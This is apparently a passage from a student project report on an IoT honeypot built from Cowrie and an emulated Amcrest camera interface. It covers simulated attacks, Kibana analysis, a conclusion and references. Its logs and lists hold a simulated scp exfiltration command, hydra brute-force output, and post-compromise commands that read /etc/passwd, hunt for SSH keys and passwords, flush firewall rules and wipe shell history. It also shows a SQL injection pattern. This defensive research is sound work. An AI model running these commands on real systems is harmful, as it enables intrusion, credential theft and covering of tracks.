> Oct 9, 2023 @ 15:07:42.177	@timestamp: Oct 9, 2023 @ 15:08:01.008 @version: 1 create_date: Oct 9, 2023 @ 15:07:42.177 eventid: cowrie.session.params id: 12,742 log: 192.168.0.94 - 10c023ec11b2 - cowrie.session.params - [] message: [] service_name: cowrie sessionid: 10c023ec11b2 src_ip: 192.168.0.94 tags: _grokparsefailure _id: zPjEFIsD9MSARjD-JiVo _index: testdb- logs-2023.10.09 _score:type: _doc
> Oct 9, 2023 @ 15:07:41.954	@timestamp: Oct 9, 2023 @ 15:08:01.008 @version: 1 create_date: Oct 9, 2023 @ 15:07:41.954 eventid: cowrie.client.var id: 12,741 log: 192.168.0.94 - 10c023ec11b2 - cowrie.client.var - request_env: LANG-en_G8.UTF-8 message: request_env: LANG-en_G8.UTF-8 service_name: cowrie sessionid: 10c023ec11b2 src_ip: 192.168.0.94 tags: _grokparsefailure id: y_JEFIS89MSARJD-JiVoindex: testdb-logs-2023.10.09 _score:type: _doc
> Oct 9, 2023 @ 15:07:41.734	@timestamp: Oct 9, 2023 @ 15:08:01.008 @version: 1 create_date: Oct 9, 2023 @ 15:07:41.734 eventid: cowrie.client.size id: 12,740 log: 192.168.0.94 - 10c023ec11b2 - cowrie.client.size - Terminal Size: 80 24 message: Terminal Size: 80 24 service_name: cowrie sessionid: 10c023ec11b2 src_ip: 192.168.0.94 tags: _grokparsefailure dd: yvjEFIS89MSARJD-JIVo _index: testdb-logs-2023.10.09 _score:type: _doc
> Oct 9, 2023 @ 15:07:41.507	@timestamp: Oct 9, 2023 0 15:08:01.008 @version: 1 create_date: Oct 9, 2023 0 15:07:41.507 eventid: cowrie.login.success id: 12,739 log: 192.168.0.94 - 10:023ec11b2 - cowrie.login.success - login attempt [admin/admin] succeeded message: login attempt [admin/admin] succeeded password: admin service_name: cowrie sessionid: 10:023ec11b2 src_ip: 192.168.0.94 tags: _grokparsefailure username: admin _id: xvjEFIs69MSARjD-JJVO _index: testdb-logs-2023.10.09 _score:type: _doc
> Oct 9, 2023 @ 15:07:39.824	@timestamp: Oct 9, 2023 @ 15:88:01.088 @version: 1 create_date: Oct 9, 2023 @ 15:87:39.824 eventid: cowrie.client.kex id: 12,738 log: 192.168.8.94 - 10c023ec11b2 - cowrie.client.kex - SSH client hash fingerprint: 70fb06783479c70b3ca1726b5244b1eb message: SSH client hash fingerprint: 70fb06783479c70b3ca1726b5244b1eb service_name: cowrie sessionid: 10c023ec11b2 src.ip: 192.168.0.94 tags: _grokparsefailure_id: yfjEFIs09MSARjD-JiVo _index: testdb-logs-2023.18.09 _score:type: _doc

Figure 54 Logs of Attemps in Command & Control Channel

Cowrie will log this attempt but won't actually establish the connection. The log will show an attempt to establish a Command & Control channel. Establishing a Command & Control channel is a critical step for attackers as it allows them to remotely control compromised systems. By capturing such attempts, organizations can identify data breaches and take some necessary actions in order to mitigate these attacks.

5.1.7. Actions on Objectives

With this command we aim to simulate data exfiltration from the honeypot. Our aim send some information data from the honeypot to the attacker machine



Figure 55 The First Step of Information Transaction

Cowrie saves this attempt but won't actually send the file. The log will show an attempt to exfiltrate data. Data exfiltration attempts are serious threats, as they indicate that the attacker is trying to send out sensitive information.

	Time \downarrow	Document
>	Oct 9, 2023 @ 15:12:55.088	@timestamp: Oct 9, 2023 @ 15:13:00.121 @version: 1 create_date: Oct 9, 2023 @ 15:12:55.088 eventid: cowrie.command.input id: 12,745 input: scp IMPORTANT.data.txt 192.168.0.94;~ log: 192.168.0.94 - 10:023ec11b2 - cowrie.command.input - CMD: scp ILCONTANT.data.txt 192.168.0.94;~ message: CMD: scp ILCONTANT.data.txt 192.168.0.94;~ service_name: cowrie sessionid: 10:023ec11b2 src_ip: 192.168.0.94 tags: _grokparsefailure _id: z_JIFIS09MSARJD-tiXG _index: testdb-logs-2023.10.09 _score:type: _doc
>	Oct 9, 2023 @ 15:12:35.137	@timestamp: Oct 9, 2023 0 15:13:00.121 @version: 1 create_date: Oct 9, 2023 0 15:12:35.137 id: 12,744 log: service_name: cowrie tags: _grokparsefailure _id: 0PjfFis9MSARjD-tiX6 _index: testdb-logs-2023.10.09 _score:type: _doc



5.2. Bruteforce Attacks

Since we have two open ports in our honeypot which are 22 Cowrie and 8080 Web interface. We simulate to attack for both of them. For brute force attacks, we used a tool named 'hydra' which is a popular tool for brute force attacks.

First, we tried to brute force Cowrie since our aim is to attract more attackers we used common usernames and passwords.

ubuntu/Downloads/ssh-usernames.txt -P /home/ubuntu/Downloads/top-20-common-SSH-pas ..132 ssn 2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or purposes (this is non-binding, these *** ignore laws and ethics anyway). (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-10-09 15:26:17 NG] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 max 16 tasks per 1 server, overall 16 tasks, 1265 login tries (l:55/p:23), ~80 tries per task attacking ssh://192.168.0.132:22/ sh] host: 192.168.0.132 login: admin password: admin construct admin password: admin 923 tries in 00:01h, 342 to do in 00:01h, 16 active completed, 1 valid password found



After successfully bruteforcing we can run some commands on cowrie.

- whoami: Check under which user they're operating.
- who: Check who else is logged in.
- uname -a: Determine the system's kernel version.
- cat /etc/*-release: Identify the OS and version.
- cat /etc/passwd: List system users.
- ifconfig: Check the IP and network configuration.
- df -h: Check disk space.

- ps aux: Check running processes.
- sudo -1: Check if the current user has any sudo privileges.
- find /home/ -name ".ssh": Search for SSH keys.
- grep -ri "password" /home/: Search for any files containing the word "password".
- curl -O https://www.example.com/testfile.txt
- iptables -F: Flush firewall rules.
- history -c: Clear command-line history.
- rm ~/.bash_history: Remove bash history file.



Figure 58 Output of whoami

Amcrest eth0	-841B> ifc Link en inet ad inet6 a UP BROA RX pack TX pack collisi RX byte	onfig cap:Ether dr:192.16 ddr: fed2 DCAST RUN ets:41452 ets:52542 ons:0 txq s:2053737	net HWaddr 8.0.132 Bca ::f4:aaff:f6 NING MULTICA 1 errors:0 d ueuelen:1000 03 (205.4 ME	4d:e7:de:d6:8 sst:192.168.0. 57:2901/64 Sc SST MTU:1500 fropped:0 over iropped:0 over 3) TX bytes:3	6:47 255 Mas ope:Link Metric: runs:0 f runs:0 c	k:255.2 1 rame:0 arrier: (35.6 M	55.255. 0 B)	.0		
10	Link en	cap:Local	Loopback							
	inet addr:127.0.0.1 Mask:255.0.0.0									
	inet6 a	ddr: ::1/	128 Scope:Ho	st						
	UP LOOPBACK RUNNING MTU:65536 Metric:1									
	RX packets:110 errors:0 dropped:0 overruns:0 frame:0									
	TX pack	ets:110 e	rrors:0 drop	oped:0 overrun	s:0 carr	ier:0				
	collisi	ons:0 txq	ueuelen:0							
	RX byte	s:2727147	0 (27.3 MB)	TX bytes:272	71470 (2	7.3 MB)				
Amcrest	-841B> df	- h								
Filesys	tem				Siz	e Used	Avail	Use% Mounte	d on	
rootfs					4.7	G 731M	3.8G	17% /		
udev					10	мө	10M	0% /dev		
tmpfs					25	M 192K	25M	1% /run		
/dev/di	sk/by-uuid	/65626fdc	-e4c5-4539-8	3745-edc212b9b	0af 4.7	G 731M	3.8G	17% /		
tmpts					5.0	м ө	5.0M	0% /run/l	ock	
tmpts	-				101	м ө	101M	0% /run/s	hm	
Amcrest	-8418> ps	aux	201220	1000	10000		12.22			
USER	PID	- CPU	MEM CO.	VSZ	KSS	111	STAI	START TIM	E COMMAND	
root	1	0.0	0.89	180281344	4587520	1	SS	30122 0.4	8 /LLD/Systemd/SystemdSystemdeseria	
root	2	0.0	0.0	0	0	5	5<	30122 0.0	[ktnreadd]	
TOOL	3	0.0	0.0	0	0		5<	30122 0.0		
Foot	2	0.0	0.0	0	0		0<	30122 0.0	[kworker/0:0H]	
Foot	2	0.0	0.0	0	0		55	30122 0.0		

Figure 59 Output of ifconfig

5.2.1. Webinterface Bruteforce

We used hydra again to brute force the authentication page. We assumed that attackers, in the initial phase will look for default usernames for Amcrest Cameras since they have access to the web interface they will see this is the Amcrest camera. After they checked the default username. We used hydra and http-post-login to brute force this attacker to inspect network traffic and capture relevant information after all these. They can use Hydra to brute force as you see, we used some wordlist to crack this password.



Figure 60 Hydra

Since they captured the password, they are able to bypass the login page.

← → C ② 원 여 192.168.0	☆ © ź	ე ≡	
and the second second second second			
	AMCREST		
	IP Camera Web Access		
	👤 admin		
	Login		

Figure 61 Login View

After that, they are able to see the livepage and the functions in there do not work but we captured all the interaction they do to understand their behaviour better.



Figure 62 Live Stream View

5.3. Analysis

In the rapidly evolving landscape of cybersecurity, understanding the nature, frequency, and patterns of attacks is paramount. Our multi-faceted honeypot environment, which includes the emulation of the Amcrest IP2M-841B-V3 Camera System and the Cowrie SSH honeypot, serves as a dual-layered beacon to attract potential attackers. This setup allows us to study their behaviours, tactics, and techniques in a controlled environment, encompassing both web interface interactions and SSH-based activities. By leveraging the power of Kibana, we've visualized the data captured by our honeypot to gain insights into the threats faced by IoT devices and the common SSH-based attack vectors. Through this analysis, we aim to enhance our understanding of the current cyber security landscape and inform better security practices for both IoT devices and systems exposed via SSH.



Figure 63 Kibana Dashboard

In our Kibana dashboard, we are able to capture all the logs coming from both services, Cowrie and IP Camera. This figure shows an overview of the Kibana dashboard. To give a general idea, we have created some visualizations such as an attack timeline, service targets, most common passwords, the total number of attacks, the origin of attacks, the most used commands in Cowrie, top usernames, and the most clicked buttons in the IP Camera. Attack timeline: This timeline provides insights into the frequency of attacks. Peaks in the graph might indicate coordinated attack campaigns or the release of new vulnerabilities that attackers are trying to exploit. It's essential to monitor these spikes and correlate them with known vulnerabilities or global attack trends.



Figure 64 Number of Attacks Over Time

Which service gets most attacks: By comparing the attack volume on both services, we can determine which service is more appealing to attackers. It is clearly seen that most attacks aimed the Cowrie.



Figure 65 Comparison of Attacks Targeting Cowrie and the Camera

Most common password for IP Camera: The common passwords list emphasizes the risks of using default or easily guessable credentials. Patterns in the passwords can suggest the use of popular password lists, highlighting the importance of strong, unique passwords.



Figure 66 The Most Frequently Attempted Passwords

Total number of attacks: It shows the total number of attacks that happened, and it gives a holistic view of the attack landscape faced by the honeypot.
The number of total attacks

533,376
Count of records

Figure 67 Total Number of Attacks

Origin of attacks: Understanding where attacks originate can help us to determine the dangerous IP addresses and mitigate the risks.



Figure 68 IP Addresses of Attackers

Most used commands in Cowrie: Monitoring the commands executed gives insights into the attackers' objectives. For instance, system exploration commands like "ls" or "pwd" show attempts to understand the file system. If there are SQL-related commands, it might indicate SQL injection attempts.



Figure 69 Most Frequently Executed Commands

Top usernames used by attackers: This data can reveal if attackers are using default credentials or if they're trying a broad list of usernames, indicating a brute force attack strategy.



Figure 70 Most Frequently Attempted Usernames

Most Clicked Buttons in the IP Camera: This visualization helps understand the attackers' areas of interest. If they frequently interact with specific features, it might indicate areas they believe are vulnerable.



Figure 71 Chart of Interacted Features

In our project, we've set up a honeypot environment that combines Cowrie with the emulated web interface of the Amcrest IP2M-841B-V3 Camera System. While we opted for controlled internal testing rather than exposing our honeypot to the open internet, the insights gained were no less valuable.

Through our controlled interactions, we've been able to simulate and observe potential attack patterns. Our Kibana visualizations played a pivotal role in this, allowing us to break down simulated attack data. For instance, we simulated attempts using common usernames, highlighting the importance of moving away from default settings in real-world scenarios.

A significant feature of Cowrie is its capability to log and capture files during simulated upload attempts. This feature is crucial in understanding the potential payloads attackers might deploy, from botnet scripts to other malicious tools. Even in our controlled environment, the honeypot's potential to detect IoT botnet activities became evident, underscoring its value in a real-world setting.

When we emulated attack scenarios on our honeypot, one of the things we did was create a fake malware file named CMT400_fake_malware and upload it to our honeypot via scp. We saved these details for further analysis, as mentioned in the Testing part. In cases where wget, curl, or scp are used to upload files, we capture these files with their hash and save them for further analysis. Below, you can see the contents of the CMT400_fake_malware.



Figure 72 Content of Captured Packages

Additionally, our emulated camera web interface was subjected to simulated SQL injection attempts. Patterns like '1'='1' were used to mimic what real attackers might try, emphasizing the need for robust input validation in actual systems.



Figure 73 Logs from Database

In summary, even though our honeypot was tested in a controlled environment, the insights and observations gleaned are representative of real-world attack scenarios. Our project serves as a testament to the importance of proactive cybersecurity measures, especially in the realm of IoT devices.

6.CONCLUSION

The primary aim of our research was to create a honeypot tailored for IoT devices, offering a deeper insight into potential attacker behaviors. With the proliferation of IoT devices, their security has become paramount. As highlighted in our literature review, IP cameras, in particular, are among the most targeted IoT devices. This prompted us to emulate the Amcrest IP2M-841B-V3 using the Cowrie honeypot, a medium-high interaction platform.

To enhance the realism of our honeypot, we customized Cowrie to resemble our emulated IP camera and developed two spring boot applications: one for emulating the camera's web interface and another for logging services. Automation and data fetching were facilitated through Python scripts. Recognizing the potential risks associated with storing logs on the same machine as the honeypot, we transitioned our database to Microsoft Azure for enhanced security, drawing from risk management principles in cybersecurity. PostgreSQL served as our database, and to further enrich our data analysis capabilities, we integrated the ELK Stack (Elasticsearch, Logstash, and Kibana) on Azure.

Our primary objective was to create a believable environment to entice attackers. By combining Cowrie with the web interface, we aimed to capture a comprehensive range of interactions. During our evaluation, we simulated attacks on our honeypot, drawing inspiration from the Cyber Kill Chain framework and also conducting brute force attacks. These simulations yielded valuable insights, allowing us to capture potential malware uploads, crucial for understanding advanced persistent threats. We also logged commonly attempted usernames and passwords, emphasizing the potential risks associated with IoT botnet attacks. Additionally, our honeypot successfully captured SQL injection attempts targeting the camera's login panel.

Kibana played a pivotal role in our analysis. While raw logs provided data, Kibana's visual representations made the information more digestible and actionable. We could discern attack origins based on IP addresses, offering another layer of analytical depth.

Given the inherent risks of high-interaction honeypots, our tests were conducted in a controlled environment for educational purposes. It's essential to note that while our findings are insightful, real-world scenarios might involve attackers with varied motivations and a broader toolkit.

In conclusion, our research highlights the significance of dedicated honeypots in protecting IoT devices. Through the emulation of authentic IoT scenarios, we acquired crucial insights into potential attack methodologies and patterns, even within a controlled testing environment. Our endeavour underscores the indispensable role of honeypots in deepening our comprehension of threats targeting IoT devices. In essence, as IoT integration deepens, the deployment of honeypots tailored for them becomes increasingly vital for proactive defense and understanding the evolving cyber threat landscape

7.FUTURE WORK

Our research has demonstrated the value of specialized honeypots in understanding attacker behaviours, especially in the context of IoT devices. The insights gained, such as common default usernames and passwords, are particularly crucial in the realm of IoT botnet attacks. Additionally, the ability to capture and analyse malicious payloads provides a deeper understanding of potential threats.

However, there are several avenues for further enhancement and exploration. While our current honeypot provides both SSH and HTTP protocols to emulate potential attack vectors, there's potential to incorporate more protocols and services, further broadening the scope of interactions we can observe.

Our project currently emulates a specific IoT camera system while IP cameras are the most targeted type of IoT devices still, it is important to increase the device numbers. In the future, we can expand our honeypot to mimic a broader range of IoT devices, each with its unique set of vulnerabilities and functionalities. This would offer a more comprehensive view of potential attack strategies targeting different devices.

Even we tested in the controlled environment in case of deploying our project in the internet we leverage With the vast amount of data that honeypots can capture, integrating machine learning algorithms can be beneficial. These algorithms can automatically categorize different types of attacks, enhancing the honeypot's adaptability and providing quicker insights into emerging threat patterns.

In conclusion, while our project has laid a solid foundation in understanding threats against IoT devices, the dynamic nature of cybersecurity necessitates continuous evolution and adaptation. The proposed future directions aim to ensure that our honeypot remains at the forefront of this ever-changing landscape, providing valuable insights and bolstering defenses against cyber threats.

8.REFLECTION

Working on a project where IoT devices and honeypots intertwine was important to me. I know that IoT devices have some limitations in terms of cybersecurity. My knowledge about honeypots, which can be classified as a proactive defence mechanism, was limited to a part of a class. With this project, I initially learned why IoT devices are insufficient in terms of security and the main reasons for this. The increasing popularity of IoT devices and the large amount of data they handle daily, much of them includes sensitive information which is alarming. To mitigate the risks various methods have been used. One of them was honeypots, their various classifications, their capabilities, and their contribution to cybersecurity on the defence side.

Unfortunately, it wasn't always this straightforward. Initially, I struggled a lot with designing the honeypot I would create. The existence of many similar examples made it harder to do something different. Since the main goal of the project was to gather more information, I thought that creating more attack points could attract more attackers. Therefore, I used two interfaces. By using an existing honeypot named Cowrie, I increased my knowledge about how honeypots work, are programmed, and are designed. Configuration settings were more detailed than I expected, especially since the primary design purpose of Cowrie was not IoT devices. Therefore, we tried to make the device's web interface as identical as possible. The login page was especially important because it would be the first point of contact for attackers. Any clear mistake here could deter attackers from interacting. In this project, although we initially thought of logging on to the same device where the honeypot and web interface run, it was a risk that didn't align with the risk management classes we took during our MSc education. The results could have been devastating. Due to the nature of the honeypot we developed, we provide as much interaction as possible to the attackers, which increases the risk ratio. In the event of a compromise, storing logs on the same machine means attackers could delete and remove their footprint. To prevent this, we opted for cloud platforms. However, on cloud platforms, we observed how insufficient the resources are for free tiers. Thanks to the student credit provided by Microsoft Azure, we were only able to set up a remote server that could meet our needs. Although my initial goal was just to keep the logs in a safer environment, I later realized that analysing the obtained logs was quite challenging, and I decided to use Elasticsearch to make the data more efficient. This provided more visually supported, efficient data and made the analysis easier for us.

Due to the high risk of deploying the honeypot on the internet, we had to conduct our tests. After ensuring that the honeypot mechanism was tested and working, we were able to obtain useful information about the attackers and present this data in graphs and tables. In the cyber security field evolution is inevitable, Therefore, there is always space to improve. With this project, I realized the importance of IoT devices, the significance of honeypots, and especially how beneficial IoT honeypots can be. I believe this project as valuable as it provides a general introduction to those interested in these topics.

9.REFERENCES

Almazarqi, H., Marnerides, A., Mursch, T., Woodyard, M. and Pezaros, D. 2021. *Profiling IoT Botnet Activity in the Wild*. doi: 10.1109/GLOBECOM46510.2021.9686012.

Almutairi, A., Parish, D. and Phan, R. 2012. Survey of High Interaction Honeypot Tools: Merits and Shortcomings.

Alyas, T., Alissa, K., Alqahtani, M., Faiz, T., Alsaif, S.A., Tabassum, N. and Naqvi, H.H. 2022. Multi-Cloud Integration Security Framework Using Honeypots. Anisetti, M. ed. *Mobile Information Systems* 2022, p. 2600712. Available at: https://doi.org/10.1155/2022/2600712.

Bugeja, J., Jönsson, D. and Jacobsson, A. 2018. An Investigation of Vulnerabilities in Smart Connected Cameras. In: 2018 IEEE International Conference on Pervasive Computing and Communications Workshops (PerCom Workshops). pp. 537–542. doi: 10.1109/PERCOMW.2018.8480184.

Burov, O. et al. 2020. Cybersecurity in Educational Networks. In: Ahram, T., Karwowski, W., Vergnano, A., Leali, F., and Taiar, R. eds. *Intelligent Human Systems Integration 2020*. Cham: Springer International Publishing, pp. 359–364.

Cabral, W., Valli, C., Sikos, L. and Wakeling, S. 2019. Review and Analysis of Cowrie Artefacts and Their Potential to be Used Deceptively. In: *2019 International Conference on Computational Science and Computational Intelligence (CSCI)*. pp. 166–171. doi: 10.1109/CSCI49370.2019.00035.

Cabral, W., Valli, C., Sikos, L. and Wakeling, S. 2021. *Advanced Cowrie Configuration to Increase Honeypot Deceptiveness*.

Diamantoulakis, P., Dalamagkas, C., Radoglou Grammatikis, P., Sarigiannidis, P. and Karagiannidis, G. 2020. Game Theoretic Honeypot Deployment in Smart Grid. *Sensors* 20. doi: 10.3390/s20154199.

Fadhil Khalid, L. and Y. Ameen, S. 2021. SECURE IOT INTEGRATION IN DAILY LIVES: A REVIEW. *Journal of Information Technology and Informatics* 1(1), pp. 6–12. Available at: https://qabasjournals.com/index.php/jiti/article/view/23.

Foley, B.A., Rowe, N.C. and Nguyen, T.D. 2022. Analyzing Attacks on Client-Side Honeypots from Representative Malicious Web Sites. In: *2022 International Conference on Computational Science and Computational Intelligence (CSCI)*. pp. 904–909. doi: 10.1109/CSCI58124.2022.00162.

Franco, J., Aris, A., Canberk, B. and Uluagac, A.S. 2021. A Survey of Honeypots and Honeynets for Internet of Things, Industrial Internet of Things, and Cyber-Physical Systems. *IEEE Communications Surveys & Tutorials* 23(4), pp. 2351–2383. doi: 10.1109/COMST.2021.3106669.

Fraunholz, D., Zimmermann, M. and Schotten, H.D. 2017. An adaptive honeypot configuration, deployment and maintenance strategy. In: 2017 19th International Conference on Advanced Communication Technology (ICACT). pp. 53–57. doi: 10.23919/ICACT.2017.7890056.

Frumess, B. 2015. *A DEFINITIVE GUIDE TO ACTIVE CYBER DEFENSE: MODULARIZING CYBERSECURITY*. doi: 10.13140/RG.2.1.4105.8324.

Guan, C., Chen, X., Cao, G., Zhu, S. and Porta, T.L. 2022. HoneyCam: Scalable High-Interaction Honeypot for IoT Cameras Based on 360-Degree Video. In: *2022 IEEE Conference on Communications and Network Security (CNS)*. pp. 82–90. doi: 10.1109/CNS56114.2022.9947265.

Guerra Manzanares, A. [no date][a]. *HoneyIo4 The construction of a virtual, low-interaction IoT Honeypot Treball Final de Grau.*

Guerra Manzanares, A. [no date][b]. *HoneyIo4 The construction of a virtual, low-interaction IoT Honeypot Treball Final de Grau.*

Honeyd. [no date]. Available at: https://www.honeyd.org [Accessed: 2 October 2023].

Jiang, K. and Zheng, H. 2020. Design and Implementation of A Machine Learning Enhanced Web Honeypot System. In: *2020 13th International Congress on Image and Signal Processing, BioMedical Engineering and Informatics (CISP-BMEI)*. pp. 957–961. doi: 10.1109/CISP-BMEI51763.2020.9263640.

Kalbo, N., Mirsky, Y., Shabtai, A. and Elovici, Y. 2020. The Security of IP-Based Video Surveillance Systems. *Sensors* 20(17). Available at: https://www.mdpi.com/1424-8220/20/17/4806.

Katakwar, H., Uttrani, S., Aggarwal, P. and Dutt, V. 2022. Influence of different honeypot proportions on adversarial decisions in a deception game. *Proceedings of the Human Factors and Ergonomics Society Annual Meeting* 66(1), pp. 120–124. Available at: https://doi.org/10.1177/1071181322661120.

Koohang, A., Sargent, C.S., Nord, J.H. and Paliszkiewicz, J. 2022. Internet of Things (IoT): From awareness to continued use. *International Journal of Information Management* 62, p. 102442. Available at: https://www.sciencedirect.com/science/article/pii/S0268401221001353.

Kumar, S., Sehgal, R. and Bhatia, J.S. 2012a. Hybrid honeypot framework for malware collection and analysis. In: *2012 IEEE 7th International Conference on Industrial and Information Systems (ICIIS)*. pp. 1–5. doi: 10.1109/ICIInfS.2012.6304786.

Kumar, S., Sehgal, R. and Bhatia, J.S. 2012b. Hybrid honeypot framework for malware collection and analysis. In: *2012 IEEE 7th International Conference on Industrial and Information Systems (ICIIS)*. pp. 1–5. doi: 10.1109/ICIInfS.2012.6304786.

Kyriakou, A. and Sklavos, N. 2018. *Container-Based Honeypot Deployment for the Analysis of Malicious Activity*. doi: 10.1109/GIIS.2018.8635778.

Lingenfelter, B., Vakilinia, I. and Sengupta, S. 2020. *Analyzing Variation Among IoT Botnets Using Medium Interaction Honeypots*. doi: 10.1109/CCWC47524.2020.9031234.

Lockheed Martin. [no date]. *Cyber Kill Chain*. Available at: https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html [Accessed: 9 October 2023].

Lopez, M. and Reséndez, C. 2008. *Honeypots: Basic Concepts Classification and Educational Use as Resources in Information Security Education and Courses*. doi: 10.28945/3186.

Mahajan, V. and Singh, J. 2023. Malware Detection and Analysis using Modern Honeypot Allied with Machine Learning: A Performance Evaluation. In: *2023 4th International Conference on Electronics and Sustainable Communication Systems (ICESC)*. pp. 1539–1544. doi: 10.1109/ICESC57686.2023.10193253.

MITRE ATT&CK. [no date]. Available at: https://cve.mitre.org/cgibin/cvekey.cgi?keyword=amcrest [Accessed: 5 October 2023].

Mokube, I. and Adams, M. 2007. *Honeypots: concepts, approaches, and challenges*. doi: 10.1145/1233341.1233399.

Naik, N., Jenkins, P., Cooke, R. and Yang, L. 2018. Honeypots That Bite Back: A Fuzzy Technique for Identifying and Inhibiting Fingerprinting Attacks on Low Interaction Honeypots. In: 2018 IEEE International Conference on Fuzzy Systems (FUZZ-IEEE). pp. 1–8. doi: 10.1109/FUZZ-IEEE.2018.8491456.

National Vulnerability Database. [no date]. Available at: https://nvd.nist.gov/vuln/search/results?form_type=Basic&results_type=overview&query=C VE-2019-3948&search_type=all&isCpeNameSearch=false [Accessed: 5 October 2023].

Nazario, J. 2009. Phoneyc: A virtual client honeypot.

Owen, H., Zarrin, J. and Shahrzad, M. 2022. A Survey on Botnets, Issues, Threats, Methods, Detection and Prevention. *Journal of Cybersecurity and Privacy* 2, pp. 74–88. doi: 10.3390/jcp2010006.

Panda, S., Rass, S., Moschoyiannis, S., Liang, K., Loukas, G. and Panaousis, E. 2021. HoneyCar: A Framework to Configure Honeypot Vulnerabilities on the Internet of Vehicles. Peter Eric and Schiller Todd. 2011. A Practical Guide to Honeypots.

Provos, N. and Holz, T. 2007. *Virtual Honeypots: From Botnet Tracking to Intrusion Detection*. First. Addison-Wesley Professional.

Qassrawi, M.T. and Zhang, H. 2010. Client honeypots: Approaches and challenges. *4th International Conference on New Trends in Information Science and Service Science*, pp. 19– 25. Available at: https://api.semanticscholar.org/CorpusID:17696051.

Qu, J. 2022. Research on Password Detection Technology of IoT Equipment Based on Wide Area Network. *ICT Express* 8(2), pp. 213–219. Available at: https://www.sciencedirect.com/science/article/pii/S240595952100134X.

Radouan Ait Mouha, R.A. 2021. Internet of Things (IoT). *Journal of Data Analysis and Information Processing* 09(02), pp. 77–101. doi: 10.4236/jdaip.2021.92006.

Roy, S., Rawat, U. and Karjee, J. 2019. A Lightweight Cellular Automata Based Encryption Technique for IoT Applications. *IEEE Access* 7, pp. 39782–39793. Available at: https://api.semanticscholar.org/CorpusID:96432059.

Saputro, E.D., Purwanto, Y. and Ruriawan, M.F. 2021. Medium Interaction Honeypot Infrastructure on The Internet of Things. In: 2020 IEEE International Conference on Internet of Things and Intelligence System (IoTaIS). pp. 98–102. doi: 10.1109/IoTaIS50849.2021.9359711.

Seifert, C., Welch, I. and Komisarczuk, P. 2006. Taxonomy of honeypots. Citeseer.

Shrivastava, R.K., Bashir, B. and Hota, C. 2018. Attack Detection and Forensics Using Honeypot in IoT Environment. In: *International Conference on Distributed Computing and Internet Technology*. Available at: https://api.semanticscholar.org/CorpusID:57759824.

Skouloudi Christina, Malatras Apostolos, Naydenov Rossen and Dede Georgia. 2020. GUIDELINES FOR SECURING THE INTERNET OF THINGS Secure supply chain for IoT NOVEMBER 2020 GUIDELINES FOR SECURING THE INTERNET OF THINGS ABOUT ENISA. Available at: www.enisa.europa.eu. Sokol, P., Míšek, J. and Husák, M. 2017. Honeypots and honeynets: issues of privacy. *EURASIP Journal on Information Security* 2017(1), p. 4. Available at: https://doi.org/10.1186/s13635-017-0057-4.

Syrmakesis, A.D., Alcaraz, C. and Hatziargyriou, N.D. 2022. Classifying resilience approaches for protecting smart grids against cyber threats. *International Journal of Information Security* 21(5), pp. 1189–1210. Available at: https://doi.org/10.1007/s10207-022-00594-7.

Tawalbeh, L., Muheidat, F., Tawalbeh, M. and Quwaider, M. 2020. IoT privacy and security: Challenges and solutions. *Applied Sciences (Switzerland)* 10(12). doi: 10.3390/APP10124102.

Vailshery Lionel Sujay. 2023. *Number of Internet of Things (IoT) connected devices worldwide from 2019 to 2023, with forecasts from 2022 to 2030*. Available at: https://www.statista.com/statistics/1183457/iot-connected-devices-worldwide/ [Accessed: 2 October 2023].

Venancio Neto, A., Silva, F., Neto, E., Lemos, M. and Esposito, F. 2020. A Taxonomy of DDoS Attack Mitigation Approaches Featured by SDN Technologies in IoT Scenarios. *Sensors* 20, p. 3078. doi: 10.3390/s20113078.

Wang, B., Dou, Y., Sang, Y., Zhang, Y. and Huang, J. 2020. IoTCMal: Towards A Hybrid IoT Honeypot for Capturing and Analyzing Malware. In: *ICC 2020 - 2020 IEEE International Conference on Communications (ICC)*. pp. 1–7. doi: 10.1109/ICC40277.2020.9149314.

Wang, M., Santillan, J. and Kuipers, F. 2018. ThingPot: an interactive Internet-of-Things honeypot.

Yang, X.-S. and Institute of Electrical and Electronics Engineers. [no date]. *Proceedings of the World Conference on Smart Trends in Systems, Security and Sustainability (WS4 2020) : July 27-28, 2020, virtual conference.*

Zhang, L. and Thing, Vrizlynn.L.L. 2021. Three decades of deception techniques in active cyber defense - Retrospect and outlook. *Computers & Security* 106, p. 102288. Available at: https://www.sciencedirect.com/science/article/pii/S0167404821001127.

Zobal, L., Kolář, D. and Fujdiak, R. 2019a. Current State of Honeypots and Deception Strategies in Cybersecurity. In: 2019 11th International Congress on Ultra Modern Telecommunications and Control Systems and Workshops (ICUMT). pp. 1–9. doi: 10.1109/ICUMT48472.2019.8970921.

Zobal, L., Kolář, D. and Fujdiak, R. 2019b. *Current State of Honeypots and Deception Strategies in Cybersecurity*. doi: 10.1109/ICUMT48472.2019.8970921.

10. Appendix

-Cowrie

-Spring-boot Applications

-Scripts